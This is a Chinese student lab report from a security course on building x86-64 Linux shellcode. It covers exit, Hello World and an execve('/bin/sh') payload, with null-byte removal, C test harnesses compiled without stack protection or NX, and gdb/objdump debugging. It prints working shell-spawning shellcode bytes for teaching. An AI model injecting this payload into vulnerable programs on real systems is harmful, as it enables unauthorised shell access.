实验目的

掌握shellcode的构造方法,使得能够适应在不同操作系统环境。
实验原理
请参照信息安全技术实验四PWN中的shellcode基础知识及构造原理
实验步骤
1、书写syscall系统调用exit 0的shellcode。
2、调用syscall打印Hello World。
3、书写execve的shellcode。
每项内容基本包括如下步骤:
I、 书写shellcode的C语言代码,编译shellcode的C语言代码,测试是否获得shell。
II、 如果未获得shell,执行二进制文件,采用objdump、gdb、strace工具查看、分析和调试二进制代码。
III、 采用gdb分析调试二进制,找出原因。方法如下:1)采用objdup查看使用C语言代码的获取shellcode的二进制代码;2)使用gdb跟踪调试直接书写shellcode的二进制代码。
实验内容
1、书写syscall系统调用exit0的shellcode。
第一步、书写exit.asm
文件如下:
global _start
section .text
_start:
mov rax,60 ;sys_exit的系统调用编号为60
xor rdi,rdi ;exit 0
syscall
第二步、生成二进制文件
命令:
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ nasm -f elf64 exit.nasm && ld -o exit exit.o
生成exit二进制文件。
第三步、调试二进制查看代码
命令:
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb -q exit
Reading symbolsfrom exit...(no debugging symbols found)...done.
(gdb) disas0x400080
Dump ofassembler code for function _start:
0x0000000000400080 <+0>:mov $0x3c,%eax
0x0000000000400085 <+5>:xor %rdi,%rdi
0x0000000000400088 <+8>:syscall
第四步、把二进制文件到处txt文件,并查看命令的16进制代码
命令:
objdump -d exit> exit.txt
cat exit.txt
exit: 文件格式 elf64-x86-64
Disassembly ofsection .text:
0000000000400080<_start>:
400080: b83c 00 00 00 mov $0x3c,%eax
400085: 4831 ff xor %rdi,%rdi
400088: 0f05 syscall
第五步、分析汇编语言和生成二进制文件的区别
我们看到汇编语言和二进制文件的区别在于:
汇编语言:mov rax,60 ;sys_exit的系统调用编号为60
二进制:400080: b8 3c 00 00 00 mov $0x3c,%eax
分析:由于存在\x00,我们需要去掉\x00。我们看到分别赋值了两个不同的寄存器,rax和eax,这两个寄存器之间的关系如下:
|63..32|31..16|15-8|7-0|
|AH. |AL.|
|AX.....|
|EAX............|
|RAX...................|
由于链接之后的二进制文件存在\x00,则mov rax,60可以转换为以下语句:
mov al,60
转换后,我们再次编译汇编程序exit.nasm编译链接成二进制,转换后的二进制文件如下
exit: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b0 3c mov $0x3c,%al
400082: 48 31 ff xor %rdi,%rdi
400085: 0f 05 syscall
成功实现了去掉\x00。
第六步、书写shellcode代码
书写的shellcodecxh.c文件如下:
#include <stdio.h>
unsigned char shellcode[] ="\xb0\x3c\x48\x31\xff\x0f\x05";
int main(void)
{
int (*ret)() = (int(*))shellcode;
ret();
}
我们采用以下命令,对该文件进行编译链接
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gcc -fno-stack-protector -z execstack shellcodecxh.c -oshellcodecxh
执行之后,系统成功实现了exit(0)
第七步、分析汇编语言和生成二进制文件的区别
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb -q shellcodecxh
Reading symbols from shellcodecxh...(no debugging symbolsfound)...done.
(gdb) disas main
Dump of assembler code for function main:
0x00000000004004d6<+0>: push %rbp
0x00000000004004d7<+1>: mov %rsp,%rbp
0x00000000004004da<+4>: sub $0x10,%rsp
0x00000000004004de<+8>: movq $0x601030,-0x8(%rbp)
0x00000000004004e6<+16>:mov -0x8(%rbp),%rdx
0x00000000004004ea<+20>: mov $0x0,%eax
0x00000000004004ef<+25>: callq *%rdx
0x00000000004004f1<+27>: mov $0x0,%eax
0x00000000004004f6<+32>: leaveq
0x00000000004004f7<+33>: retq
End of assembler dump.
(gdb) disas 0x601030
Dump of assembler code for function shellcode:
0x0000000000601030<+0>: mov $0x3c,%al
0x0000000000601032<+2>: xor %rdi,%rdi
0x0000000000601035<+5>: syscall
0x0000000000601037<+7>: add %al,(%rax)
End of assembler dump.
从上面的汇编代码可以看出,main通过 callq调用了0x601030的代码,在0x601030我们看到了syscall 系统调用60。
第八步、基于int 0x80的系统调用
1)书写exit_shellcode.nasm文件
section .text
global _start
_start:
mov ebx,0
mov ax,1
int 0x80
使用命令:nasm -felf64 exit_shellcode.nasm
2)反汇编
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ objdump exit_shellcode -d
exit_shellcode: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: bb 00 00 00 00 mov $0x0,%ebx
400085: 66 b8 01 00 mov $0x1,%ax
400089: cd 80 int $0x80
3)去掉\0x00
我们发现在第2步中有很多\0x00,需要去掉。
分析:分别赋值了两个不同的寄存器,eax和ax,这两个寄存器之间的关系如下:
|63..32|31..16|15-8|7-0|
|AH. |AL.|
|AX.....|
|EAX............|
|RAX...................|
mov $0x1,%ax
则mov ax,1--> mov al,1
首先我们看第一条指令(mov ebx, 0)将0放入ebx中。熟悉汇编的话就会知道,xor指令在操作数相等的情况下返回0,也就是可以在指令里不使用0,但是结果返回0,那么我们就可以用xor来代替mov指令了。mov ebx, 0 --> xor ebx, ebx
4)修改exit_shellcode.nasm文件
section .text
global _start
_start:
xor ebx, ebx
mov al,1
int 0x80
使用命令:nasm -felf64 exit_shellcode.nasm
5)反汇编
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ objdump exit_shellcode -d
exit_shellcode: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 31 db xor %ebx,%ebx
400082: b0 01 mov $0x1,%al
400084: cd 80 int $0x80
从以上汇编代码和16进制代码可以看出,\0x00已经成功去掉。
6)书写exit_shellcode.nasm汇编代码
section .text
global _start
_start:
xor ebx,ebx
mov al,1
int 0x80
7)编译链接成二进制文件,执行代码
采用命令nasm -felf64 exit_shellcode.nasm && ld -o exit_shellcode exit_shellcode.o
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./exit_shellcode
8)查看二进制代码
使用命令:objdump -dexit_shellcode > exit_shellcode.txt
查看代码:
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ cat exit_shellcode.txt
exit_shellcode: 文件格式 elf64-x86-64
Disassembly ofsection .text:
0000000000400080<_start>:
400080: 31db xor %ebx,%ebx
400082: b001 mov $0x1,%al
400084: cd80 int $0x80
9)书写c代码
#include <stdio.h>
unsigned char shellcode[] ="\x31\xdb\xb0\x01\xcd\x80";
int main(void)
{
int (*ret)() = (int(*))shellcode;
ret();
}
10)编译链接执行查看代码
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gcc -fno-stack-protector -o shellcodecxh shellcodecxh.c -zexecstack
shellcodecxh.c:In function ‘main’:
shellcodecxh.c:8:20:warning: initialization from incompatible pointer type[-Wincompatible-pointer-types]
int (*ret)() = (int(*))shellcode;
^
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./shellcodecxh
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb -q shellcodecxh
Reading symbolsfrom shellcodecxh...(no debugging symbols found)...done.
(gdb) disas main
Dump ofassembler code for function main:
0x00000000004004d6 <+0>: push %rbp
0x00000000004004d7 <+1>: mov %rsp,%rbp
0x00000000004004da <+4>:sub $0x10,%rsp
0x00000000004004de <+8>:movq $0x601030,-0x8(%rbp)
0x00000000004004e6 <+16>: mov -0x8(%rbp),%rdx
0x00000000004004ea <+20>: mov $0x0,%eax
0x00000000004004ef <+25>: callq *%rdx
0x00000000004004f1 <+27>: mov $0x0,%eax
0x00000000004004f6 <+32>: leaveq
0x00000000004004f7 <+33>: retq
End of assemblerdump.
(gdb) disas0x601030
Dump ofassembler code for function shellcode:
0x0000000000601030 <+0>:xor %ebx,%ebx
0x0000000000601032 <+2>:mov $0x1,%al
0x0000000000601034 <+4>:int $0x80
0x0000000000601036 <+6>:add %al,(%rax)
End of assemblerdump.
我们再次看到了int 0x80系统调用。
11)书写另外的c代码
unsigned char shellcode[] ="\x31\xdb\xb0\x01\xcd\x80";
int main(void)
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
12)反编译
在反汇编中,并没有发现int、callq、syscall代码,反汇编代码如下:
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb -q shellcodeyunshui
Reading symbols from shellcodeyunshui...(nodebugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x00000000004004d6 <+0>: push %rbp
0x00000000004004d7 <+1>: mov %rsp,%rbp
0x00000000004004da <+4>:lea -0x8(%rbp),%rax
0x00000000004004de <+8>:add $0x8,%rax
0x00000000004004e2 <+12>: mov %rax,-0x8(%rbp)
0x00000000004004e6 <+16>: mov -0x8(%rbp),%rax
0x00000000004004ea <+20>: mov $0x601030,%edx
0x00000000004004ef <+25>: mov %edx,(%rax)
0x00000000004004f1 <+27>: mov $0x0,%eax
0x00000000004004f6 <+32>: pop %rbp
0x00000000004004f7 <+33>: retq
End of assembler dump.
我们用strace ./shellyunshui,可以看到exit(0),具体命令和消息如下:
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ strace ./shellyunshui
execve("./shellyunshui",["./shellyunshui"], [/* 60 vars */]) = 0
brk(NULL) = 0x1c67000
access("/etc/ld.so.nohwcap",F_OK) = -1 ENOENT (No such file ordirectory)
access("/etc/ld.so.preload",R_OK) = -1 ENOENT (No such file ordirectory)
open("/etc/ld.so.cache",O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644,st_size=98050, ...}) = 0
mmap(NULL, 98050, PROT_READ, MAP_PRIVATE,3, 0) = 0x7f1e4d98f000
close(3) = 0
access("/etc/ld.so.nohwcap",F_OK) = -1 ENOENT (No such file ordirectory)
open("/lib/x86_64-linux-gnu/libc.so.6",O_RDONLY|O_CLOEXEC) = 3
read(3,"\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"...,832) = 832
fstat(3, {st_mode=S_IFREG|0755,st_size=1868984, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1e4d98e000
mmap(NULL, 3971488, PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f1e4d3b8000
mprotect(0x7f1e4d578000, 2097152,PROT_NONE) = 0
mmap(0x7f1e4d778000, 24576,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1c0000) =0x7f1e4d778000
mmap(0x7f1e4d77e000, 14752,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) =0x7f1e4d77e000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1e4d98d000
mmap(NULL, 4096, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1e4d98c000
arch_prctl(ARCH_SET_FS, 0x7f1e4d98d700) = 0
mprotect(0x7f1e4d778000, 16384, PROT_READ)= 0
mprotect(0x600000, 4096, PROT_READ) = 0
mprotect(0x7f1e4d9a7000, 4096, PROT_READ) =0
munmap(0x7f1e4d98f000, 98050) = 0
exit_group(0) = ?
+++ exited with 0 +++
2、调用syscall打印HelloWorld
第一步、编写汇编代码foo.nasm
文件如下:
global _start
section .text
_start:
mov rax,1
mov rdi,1
mov rsi,msg
mov rdx,msglen
syscall
mov rax,60
xor rdi,rdi
syscall
section .data
msg:db"Hello,world!",10
msglen:equ $-msg
第二步、编译、链接、执行、反汇编
使用命令:nasm-f elf64 foo.nasm && ld -o foo foo.o,生成
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb -q foo
Readingsymbols from foo...(no debugging symbols found)...done.
(gdb)disas main
没有符号表被读取。请使用 "file" 命令。
(gdb)disas _start
Dump ofassembler code for function _start:
0x00000000004000b0 <+0>: mov $0x1,%eax
0x00000000004000b5 <+5>: mov $0x1,%edi
0x00000000004000ba <+10>: movabs $0x6000d8,%rsi
0x00000000004000c4 <+20>: mov $0xd,%edx
0x00000000004000c9 <+25>: syscall
0x00000000004000cb <+27>: mov $0x3c,%eax
0x00000000004000d0 <+32>: xor %rdi,%rdi
0x00000000004000d3 <+35>: syscall
End of assembler dump.
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ nasm -f elf64 foo.nasm && ld -o foo foo.o
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./foo
Hello,world!
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ objdump -d foo > foo.txt
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ cat foo.txt
foo: 文件格式 elf64-x86-64
Disassemblyof section .text:
00000000004000b0<_start>:
4000b0: b801 00 00 00 mov $0x1,%eax
4000b5: bf01 00 00 00 mov $0x1,%edi
4000ba: 48be d8 00 60 00 00 movabs $0x6000d8,%rsi
4000c1: 0000 00
4000c4: ba0d 00 00 00 mov $0xd,%edx
4000c9: 0f05 syscall
4000cb: b83c 00 00 00 mov $0x3c,%eax
4000d0: 4831 ff xor %rdi,%rdi
4000d3: 0f 05 syscall
第三步、思考题
如何去掉\x00?书写c语言程序,编译、链接、反编译后查看代码,是否通过
3、书写execve的shellcode
第一步、书写c语言程序
书写retsh.c如下:
#include<unistd.h>
#include<stdlib.h>
char*buf[]={"/bin/sh",NULL};
voidmain()
{
execve("/bin/sh",buf,0);
exit(0);
}
第二步、编译、链接、执行、反编译
执行如下命令:
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gcc -fno-stack-protector retsh.c -o retsh -z execstack
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./retsh
$ exit
查看反编译代码:
Dump ofassembler code for function main:
0x0000000000400566 <+0>:push %rbp
0x0000000000400567 <+1>:mov %rsp,%rbp
0x000000000040056a <+4>:mov $0x0,%edx
0x000000000040056f <+9>:mov $0x601040,%esi
0x0000000000400574 <+14>: mov $0x400614,%edi
0x0000000000400579 <+19>: callq 0x400440 <execve@plt>
0x000000000040057e <+24>: mov $0x0,%edi
0x0000000000400583 <+29>: callq 0x400450 <exit@plt>
End of assembler dump.
0000000000400566<main>:
400566: 55 push %rbp
400567: 4889 e5 mov %rsp,%rbp
40056a: ba00 00 00 00 mov $0x0,%edx
40056f: be40 10 60 00 mov $0x601040,%esi
400574: bf14 06 40 00 mov $0x400614,%edi
400579: e8c2 fe ff ff callq 400440<execve@plt>
40057e: bf00 00 00 00 mov $0x0,%edi
400583: e8c8 fe ff ff callq 400450<exit@plt>
400588: 0f1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
40058f: 00
发现只有两个callq,且16进制编码中存在多个\x00。因此,我们直接通过编写c语言,然后编译成二进制,反编译成16进制代码,最后转化为shellcode是有不少难度的。我们转换思路,采用以下方法书写shellcode。
第三步、编写汇编语言
书写汇编代码文件sha.nasm,如下所示:
section.text
global _start
_start:
push rax
xor rdx,rdx
xor rsi,rsi
mov rbx,'/bin//sh'
push rbx
push rsp
pop rdi
mov al,59
syscall
注意:sha.nasm中的mov rbx,'/bin//sh',有三个’/’。
第四步、编译、链接、反汇编代码
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb sha -q
Readingsymbols from sha...(no debugging symbols found)...done.
(gdb)disas main
没有符号表被读取。请使用 "file" 命令。
(gdb)disas _start
Dump ofassembler code for function _start:
0x0000000000400080 <+0>:push %rax
0x0000000000400081 <+1>:xor %rdx,%rdx
0x0000000000400084 <+4>:xor %rsi,%rsi
0x0000000000400087 <+7>:movabs $0x68732f2f6e69622f,%rbx
0x0000000000400091 <+17>: push %rbx
0x0000000000400092 <+18>: push %rsp
0x0000000000400093 <+19>: pop %rdi
0x0000000000400094 <+20>: mov $0x3b,%al
0x0000000000400096 <+22>: syscall
End of assembler dump.
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ objdump -d ./sha > sha.txt
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ cat sha.txt
./sha: 文件格式 elf64-x86-64
Disassemblyof section .text:
0000000000400080<_start>:
400080: 50 push %rax
400081: 4831 d2 xor %rdx,%rdx
400084: 4831 f6 xor %rsi,%rsi
400087: 48bb 2f 62 69 6e 2f movabs$0x68732f2f6e69622f,%rbx
40008e: 2f73 68
400091: 53 push %rbx
400092: 54 push %rsp
400093: 5f pop %rdi
400094: b03b mov $0x3b,%al
400096: 0f 05 syscall
第五步、书写c代码,测试shellcode
#include <stdio.h>
unsignedchar shellcode[] ="\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
intmain(void)
{
int (*ret)() = (int(*))shellcode;
ret();
}
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gcc -fno-stack-protector -z execstack shellcodecxh.c -oshellcodecxh
shellcodecxh.c:In function ‘main’:
shellcodecxh.c:8:20:warning: initialization from incompatible pointer type[-Wincompatible-pointer-types]
int (*ret)() = (int(*))shellcode;
^
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./shellcodecxh
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./shellcodecxh
$ exit
zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb shellcodecxh -q
Readingsymbols from shellcodecxh...(no debugging symbols found)...done.
(gdb)disas main
Dump ofassembler code for function main:
0x00000000004004d6 <+0>: push %rbp
0x00000000004004d7 <+1>: mov %rsp,%rbp
0x00000000004004da <+4>:sub $0x10,%rsp
0x00000000004004de <+8>:movq $0x601030,-0x8(%rbp)
0x00000000004004e6 <+16>: mov -0x8(%rbp),%rdx
0x00000000004004ea <+20>: mov $0x0,%eax
0x00000000004004ef <+25>: callq *%rdx
0x00000000004004f1 <+27>: mov $0x0,%eax
0x00000000004004f6 <+32>: leaveq
0x00000000004004f7 <+33>: retq
End ofassembler dump.
(gdb)disas 0x601030
Dump ofassembler code for function shellcode:
0x0000000000601030 <+0>:push %rax
0x0000000000601031 <+1>:xor %rdx,%rdx
0x0000000000601034 <+4>:xor %rsi,%rsi
0x0000000000601037 <+7>:movabs $0x68732f2f6e69622f,%rbx
0x0000000000601041 <+17>: push %rbx
0x0000000000601042 <+18>: push %rsp
0x0000000000601043 <+19>: pop %rdi
0x0000000000601044 <+20>: mov $0x3b,%al
0x0000000000601046 <+22>: syscall
0x0000000000601048 <+24>: add %al,(%rax)
End of assembler dump.
以上我们看到在main函数中调用函数shellcode,在shellcode中有syscall。
实验结果与讨论
实验思考
1、生成newshell二进制文件,并检测安全机制
1) 采用gcc -fno-stack-protector -z execstack newshell.c-o newshell
检测安全机制checksec newshell
[*]'/home/zhazhah/\xe4\xb8\x8b\xe8\xbd\xbd/newshell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
注意:
Arch:程序位数
RELRO:开启则无法修改got表
Stack:开启则无法直接覆盖EIP让程序任意跳转,跳转后会进行cookie校验;但这项保护可以被绕过
NX:开启则shellcode无法被执行
PIE:PIE(Position Independent Code)开启在每次程序运行地址都会变化,未开启则返回值括号内是程序的基址

